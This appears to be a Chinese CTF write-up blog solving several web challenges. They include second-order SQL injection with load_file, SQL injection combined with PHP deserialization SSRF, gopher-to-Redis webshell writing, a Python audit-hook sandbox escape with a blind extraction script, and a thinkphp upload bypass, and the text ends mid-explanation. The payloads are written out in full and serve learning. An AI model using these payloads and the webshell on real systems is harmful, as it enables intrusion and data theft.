关联:CTF刷题记录安全学习CTF wp

[网鼎杯 2018]Comment

进来是一个留言板,需要登录才能写,要爆破后三位密码。 我们先扫目录:

发现有很多git文件,这里学习了一下githacker使用

  githacker --url http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/ --folder ./result

可以下载下来git仓库,还有一份源码:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>
 

我们发现这份源码好像也实现不了网站功能呀,怀疑是不完整源码,又去学习了一下恢复git文件

我们先通过git命令找到历史记录:

PS D:\webtool\GitHacker\result\6bc57b1d5399283fce7fbb0c289a505f> git log --reflog

然后找到完整源码的文件恢复:

PS D:\webtool\GitHacker\result\6bc57b1d5399283fce7fbb0c289a505f> git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

具体怎么判断的哪个是完整的我也不清楚,大概就是看refs/stash 标记 然后我们就得到了完整的源代码了:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

很明显发现一个wirte模式,执行insert命令,comment模式执行查询,这是一个二次注入的特征。 首先我们尝试爆破一个密码,这里猜测是整数: 注意到只有pauload为666时,响应大小最大且存在302跳转,那这应该就是正确密码了。 下面进行二次注入,这里查询得到的是category,然后又被原样写入,所以对该字段注入 输入流程:

  1. do=write页面payload:
title=12&category=12',content=(select(load_file("/etc/passwd"))),/*&content=123

注意最后的/*让后面的content字段被注释,这样我们才能控制该字段。 前面12'这里引号构造闭合,然后我们就能随意构造content字段,注意最外层()不能去掉因为这里要拼接到sql语句后要先让他执行我们的查询,不然有语法错误 2. 在do=comment页面payload:

content=*/#&bo_id=4

这里为了和上面的/*一起一起形成注释,把原本的content字段注释掉,然后就形成了二次注入 因为把上面我们的输入取出来了,有注入进去,此时就连原本存在的addslashes()转义都消失了。 3. 访问/comment.php?id=4 查询结果,此时会查到注入的结果,注意每次注入要换一个id,上一步也一样。 这里用到了load_file是因为常规的注入没有找到flag,所以试试读文件。 注意到web目录: 是在/home下面,看一下web目录的操作记录:

title=12&category=12',content=(select(load_file("/home/www/.bash_history"))),/*&content=123

可以看到当前项由html.zip在原本/tmp目录下解压再复制到/var/www,并且记录了关于项目html文件结构的.DS_Store/tmp目录中仍存在一份,去读取这个文件了解下项目结构。 都是不可见字符,我们想到可以用hex()函数读取16进制编码出来

title=12&category=12',content=(select(hex(load_file("/tmp/html/.DS_Store")))),/*&content=123

得到的16进制转成字符串,可以用在线网站 https://www.sojson.com/hexadecimal.html 得到了flag的文件路径,flag_8946e1ff1ee3e40f.php

title=12&category=12',content=(select(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*&content=123

[网鼎杯 2018]Fakebook

dirsearch扫一波: robots.txt去看看。 备份文件,下下来看看:

<?php
 
 
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
 
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
 
    function get($url)
    {
        $ch = curl_init();
 
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
 
        return $output;
    }
 
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
 
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
 
}

看到curl_exec那应该就是打ssrf 随便测试、一下,注意到添加blog之后,点击是可以看内容的 我们换成www.baidu.com,访问,确实得到了网页html代码,不过是base64形式: 这里又想测一下sql注入,测一下,发现居然也存在数字型sql,并且过滤了union select连写,我们试一下注释符,可以绕过

方法一:

然后直接load_file读文件

?no=0 unioN/**/ select 1,(select(load_file("/var/www/html/flag.php"))),3,4

方法二:

常规注入,最后把表中数据读到:

?no=0 unioN/**/ select 1,group_concat(no,'~',username,'~',passwd,'~',data),3,4 from users #
1~admin~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:13;s:4:"blog";s:8:"blog.com";},2~admin1~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:6:"admin1";s:3:"age";i:13;s:4:"blog";s:9:"baidu.com";},3~admin2~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:6:"admin2";s:3:"age";i:13;s:4:"blog";s:13:"www.baidu.com";},4~admin4~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:6:"admin4";s:3:"age";i:13;s:4:"blog";s:26:"7f000001.c0a80001.rbndr.us";},5~admin5~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:6:"admin5";s:3:"age";i:13;s:4:"blog";s:21:"http://local.test.com";}

得到这个,就发现data字段是序列化存储的;报错也有反序列化失败,那想会不会存在反序列化漏洞 我们再联想一下前面发现疑似SSRF的,它本身不能填file协议,那如果我们反序列化更改填入的blog,换成其他协呢? exp:

<?php
class UserInfo
{
    public $name = "1";
    public $age = 12;
    public $blog = "file:///etc/passwd";
}
 
$userInfo = new UserInfo();
echo serialize($userInfo);

我们上面的注入过程知道了第四个是data的位置,那我们试试在第4个位置注入我们的payload:

?no=0 unioN/**/ select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:12;s:4:"blog";s:18:"file:///etc/passwd";}' #

看到常规读到。这里这个sql注入+php反序列化+ssrf还是很有意思

[网鼎杯 2020 玄武组]SSRFMe

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
 
function safe_request_url($url)
{
 
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
 
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

按照提示看一下hint.php…原来要本地,那应该是打ssrf,我们看看源码先 127.0.0.1被waf了,0.0.0.0绕过:

?url=http://0.0.0.0/hint.php

得到hint.php

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
 

看到了redis密码,那就是打密码泄露的redis了,加上auth root就好了,我们直接写webshell payload:

auth root
config set dir /var/www/html/
config set dbfilename shell.php
set margin "<?php system($_POST['cmd']);?>"
save
quit

url编码两次用gopher协议发包

?url=gopher://0.0.0.0:6379/_auth%2520root%250Aconfig%2520set%2520dir%2520%252Fvar%252Fwww%252Fhtml%252F%250Aconfig%2520set%2520dbfilename%2520shell.php%250Aset%2520margin%2520%2522%253C%253Fphp%2520system(%2524_POST%255B%27cmd%27%255D)%253B%253F%253E%2522%250Asave%250Aquit

最后命令执行

[阿里云CTF2025]ezoj

这题不算复现吧,就算是学习了,想复现然后搞环境什么的搞了很久还是不行,应该是和题目环境有点差别,怎么都打不出来。但是理解了一下怎么做吧。(最后还是给我搞出来了。。。。)

题目就是一个oj,可以自己写脚本做计算题,所对了会给你检查 给了源码:

import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
 
app = Flask(__name__)
 
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
 
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
 
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
 
def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError
 
sys.addaudithook(audit_checker)
 
 
"""
 
 
class OJTimeLimitExceed(Exception):
    pass
 
 
class OJRuntimeError(Exception):
    pass
 
 
@app.route("/")
def index():
    return send_file("static/index.html")
 
 
@app.route("/source")
def source():
    return send_file("server.py")
 
 
@app.route("/api/problems")
def list_problems():
    problems_dir = PROBLEMS_PATH
    problems = []
    for problem in problems_dir.iterdir():
        problem_config_file = problem / "problem.json"
        if not problem_config_file.exists():
            continue
 
        problem_config = json.load(problem_config_file.open("r"))
        problem = {
            "problem_id": problem.name,
            "name": problem_config["name"],
            "description": problem_config["description"],
        }
        problems.append(problem)
 
    problems = sorted(problems, key=lambda x: x["problem_id"])
 
    problems = {"problems": problems}
    return jsonify(problems), 200
 
 
@app.route("/api/submit", methods=["POST"])
def submit_code():
    try:
        data = request.get_json()
        code = data.get("code")
        problem_id = data.get("problem_id")
 
        if code is None or problem_id is None:
            return (
                jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
                400,
            )
 
        problem_id = str(int(problem_id))
        problem_dir = PROBLEMS_PATH / problem_id
        if not problem_dir.exists():
            return (
                jsonify(
                    {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
                ),
                404,
            )
 
        code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
        with open(code_filename, "w") as code_file:
            code = CODE_TEMPLATE + code
            code_file.write(code)
 
        result = judge(code_filename, problem_dir)
 
        code_filename.unlink()
 
        return jsonify(result)
 
    except Exception as e:
        return jsonify({"status": "ER", "message": str(e)}), 500
 
 
def judge(code_filename, problem_dir):
    test_files = sorted(problem_dir.glob("*.input"))
    total_tests = len(test_files)
    passed_tests = 0
 
    try:
        for test_file in test_files:
            input_file = test_file
            expected_output_file = problem_dir / f"{test_file.stem}.output"
 
            if not expected_output_file.exists():
                continue
 
            case_passed = run_code(code_filename, input_file, expected_output_file)
 
            if case_passed:
                passed_tests += 1
 
        if passed_tests == total_tests:
            return {"status": "AC", "message": f"Accepted"}
        else:
            return {
                "status": "WA",
                "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
            }
    except OJRuntimeError as e:
        return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
    except OJTimeLimitExceed:
        return {"status": "TLE", "message": "Time Limit Exceed"}
 
 
def run_code(code_filename, input_file, expected_output_file):
    with open(input_file, "r") as infile, open(
        expected_output_file, "r"
    ) as expected_output:
        expected_output_content = expected_output.read().strip()
 
        process = subprocess.Popen(
            ["python3", code_filename],
            stdin=infile,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )
 
        try:
            stdout, stderr = process.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            process.kill()
            raise OJTimeLimitExceed
 
        if process.returncode != 0:
            raise OJRuntimeError(process.returncode)
 
        if stdout.strip() == expected_output_content:
            return True
        else:
            return False
 
 
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

python沙箱逃逸 看到:

CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
 
def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError
 
sys.addaudithook(audit_checker)
 
 
"""

这里时启用了审计钩子,只要是不在白名单的函数就会报错 这里算是好的给了我们import,但是无法执行命令,我这里也只知道一个方法: https://xz.aliyun.com/news/12093 _posixsubprocess 执行命令

该模块的核心功能是 fork_exec 函数: fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.

用法就是:

import os
import _posixsubprocess
 
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

所以这题的exp:

import string
import requests
 
url = "http://121.41.238.106:63869/api/submit"
flag = ""
 
for i in range(0,50):
    for s in '-'+'}'+'{'+string.ascii_lowercase+string.digits:
        json = {"problem_id":"1","code":f"import os\nimport _posixsubprocess\n_posixsubprocess.fork_exec([b\"anything\", \"-c\",\"import os;f=os.popen('cat /f*').read();\\nif f[{i}]=='{s}':print(2)\"], [b\"/bin/python3\"], True, (), None, None, -1, -1, -1, -1, -1,-1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)\n"}
        res = requests.post(url, json=json)
        if res.json()['message'] == "Wrang Answer: pass(1/10)":
            flag += s
            print(flag)
            break
    print(i)

脚本的逻辑就是执行命令的时候,因为答案里面有2,所以你如果print(2),那就会返回: Wrang Answer: pass(1/10) 如果没有的话,那就一个都不对,就会返回 Wrang Answer: pass(0/10)' 这里就是先绕过钩子读取到flag,然后一个个对比,如果对上了一个字符就print(2)`, 这样进行布尔盲注。读取到flag 真不容易这里第一个A被打出来,因为脚本字符集不全,可以改进一下。

[网鼎杯 2020 半决赛]faka

审代码,application/admin/index.php 文件下有两个方法:

public function pass()
    {
        if (intval($this->request->request('id')) !== intval(session('user.id'))) {
            $this->error('只能修改当前用户的密码!');
        }
        if ($this->request->isGet()) {
            $this->assign('verify', true);
            return $this->_form('SystemUser', 'user/pass');
        }
        $data = $this->request->post();
        if ($data['password'] !== $data['repassword']) {
            $this->error('两次输入的密码不一致,请重新输入!');
        }
        $user = Db::name('SystemUser')->where('id', session('user.id'))->find();
        if (md5($data['oldpassword']) !== $user['password']) {
            $this->error('旧密码验证失败,请重新输入!');
        }
        if (DataService::save('SystemUser', ['id' => session('user.id'), 'password' => md5($data['password'])])) {
            $this->success('密码修改成功,下次请使用新密码登录!', '');
        }
        $this->error('密码修改失败,请稍候再试!');
    }
 
    /**
     * 修改资料
     */
    public function info()
    {
        if (intval($this->request->request('id')) === intval(session('user.id'))) {
            return $this->_form('SystemUser', 'user/form');
        }
        $this->error('只能修改当前用户的资料!');
    }
 
尝试了下,两个路径都可以直接访问。第一个方法是修改用户密码,可以看到代码中验证比较多,没有什么可以利用点;info这个方法直接调用父类的方法,没有什么比对验证,也许可以利用?

试一下,可以直接添加,尝试登录 功能比较少,点击内容管理时,提示没有权限,接下来需要越权。
审计了一圈下来,用户信息都存在session当中,没办法直接在页面交互中改权限。
比对数据库发现,自己注册的用户和admin用户的authorize值不一样。 而且自己新增的用户authorize值为null。能不能在刚才修改用户的资料里这个页面直接改? 我们成功添加了超级管理员账户 最后找到一个文件下载 payload:

http://76d7f130-51bd-4a43-9abb-e65d29842a68.node5.buuoj.cn/index.php/manage/Backup/downloadBak?file=%E2%80%A6/%E2%80%A6/%E2%80%A6/%E2%80%A6/etc/passwd

但是不知道为什么这里报错了。。。

二、

这是另外一个师傅的wp,我还得好好看看

题目给了源码,是一个自动发卡平台

基于thinkphp写的,也是看到了wp,漏洞点在application/admin/controller/Plugs.php

首先通过$this->request->file()来获取上传的文件信息,$this->request->file()是thinkphp实现的用来获取上传文件信息的函数,详细代码如下:

/**
     * 获取上传的文件信息
     * @access public
     * @param string|array $name 名称
     * @return null|array|\think\File
     */
    public function file($name = '')
    {
        if (empty($this->file)) {
            $this->file = isset($_FILES) ? $_FILES : [];
        }
        if (is_array($name)) {
            return $this->file = array_merge($this->file, $name);
        }
        $files = $this->file;
        if (!empty($files)) {
            // 处理上传文件
            $array = [];
            foreach ($files as $key => $file) {
                if (is_array($file['name'])) {
                    $item  = [];
                    $keys  = array_keys($file);
                    $count = count($file['name']);
                    for ($i = 0; $i < $count; $i++) {
                        if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {
                            continue;
                        }
                        $temp['key'] = $key;
                        foreach ($keys as $_key) {
                            $temp[$_key] = $file[$_key][$i];
                        }
                        $item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
                    }
                    $array[$key] = $item;
                } else {
                    if ($file instanceof File) {
                        $array[$key] = $file;
                    } else {
                        if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
                            continue;
                        }
                        $array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);
                    }
                }
            }
            if (strpos($name, '.')) {
                list($name, $sub) = explode('.', $name);
            }
            if ('' === $name) {
                // 获取全部文件
                return $array;
            } elseif (isset($sub) && isset($array[$name][$sub])) {
                return $array[$name][$sub];
            } elseif (isset($array[$name])) {
                return $array[$name];
            }
        }
        return;
    }

然后通过pathinfo()获取上传文件的扩展名,如果扩展名为php或者不在允许上传的类型中的话,会返回文件上传类型受限;然后将POST传的md5值以十六位一组,进行切片,之后分别将这两组字符串作为路径和文件名,最后在加上之前得到的文件扩展名赋值给$filename;在上传文件之前还有一个Token验证,会判断POST传的token值是否为$filename拼接上session_id()md5值,经过测试这里的session_id()返回的是空字符串,而且我们知道$filename,所以可以很容易的绕过这里的检测;然后看关键的部分,跟进move()函数,

/**
     * 移动文件
     * @access public
     * @param  string      $path     保存路径
     * @param  string|bool $savename 保存的文件名 默认自动生成
     * @param  boolean     $replace  同名文件是否覆盖
     * @return false|File
     */
    public function move($path, $savename = true, $replace = true)
    {
        // 文件上传失败,捕获错误代码
        if (!empty($this->info['error'])) {
            $this->error($this->info['error']);
            return false;
        }
 
        // 检测合法性
        if (!$this->isValid()) {
            $this->error = 'upload illegal files';
            return false;
        }
 
        // 验证上传
        if (!$this->check()) {
            return false;
        }
 
        $path = rtrim($path, DS) . DS;
        // 文件保存命名规则
        $saveName = $this->buildSaveName($savename);
        $filename = $path . $saveName;
 
        // 检测目录
        if (false === $this->checkPath(dirname($filename))) {
            return false;
        }
 
        // 不覆盖同名文件
        if (!$replace && is_file($filename)) {
            $this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
            return false;
        }
 
        /* 移动文件 */
        if ($this->isTest) {
            rename($this->filename, $filename);
        } elseif (!move_uploaded_file($this->filename, $filename)) {
            $this->error = 'upload write error';
            return false;
        }
 
        // 返回 File 对象实例
        $file = new self($filename);
        $file->setSaveName($saveName)->setUploadInfo($this->info);
 
        return $file;
    }

前面是对文件的一些检测,在$this->check()函数中会调用checkImg()函数来检查上传的文件是否真的为图片,

通过检测后会进入buildSaveName($savename),跟进

/**
     * 获取保存文件名
     * @access protected
     * @param  string|bool $savename 保存的文件名 默认自动生成
     * @return string
     */
    protected function buildSaveName($savename)
    {
        // 自动生成文件名
        if (true === $savename) {
            if ($this->rule instanceof \Closure) {
                $savename = call_user_func_array($this->rule, [$this]);
            } else {
                switch ($this->rule) {
                    case 'date':
                        $savename = date('Ymd') . DS . md5(microtime(true));
                        break;
                    default:
                        if (in_array($this->rule, hash_algos())) {
                            $hash     = $this->hash($this->rule);
                            $savename = substr($hash, 0, 2) . DS . substr($hash, 2);
                        } elseif (is_callable($this->rule)) {
                            $savename = call_user_func($this->rule);
                        } else {
                            $savename = date('Ymd') . DS . md5(microtime(true));
                        }
                }
            }
        } elseif ('' === $savename || false === $savename) {
            $savename = $this->getInfo('name');
        }
 
        if (!strpos($savename, '.')) {
            $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
        }
 
        return $savename;
    }

这里的$savename是我们move()函数的第二个参数,就是前面的$md5[1],经过buildSaveName($savename)后会直接返回$md5[1],然后拼接在$path的后面做为文件名,后面直接调用move_uploaded_file()将文件移动到$path,在这个过程中$ma5[1]是可控的,所以我们可以直接上传php文件。首先生成带木马的图片,然后生成token值,

php > echo md5("aa");
4124bc0a9335c27f086f24ba207a4912
echo md5("4124bc0a9335c27f/086f24ba207a.php.png");
bf9b89e7c8f5f1159d8bd7aaaa9c795d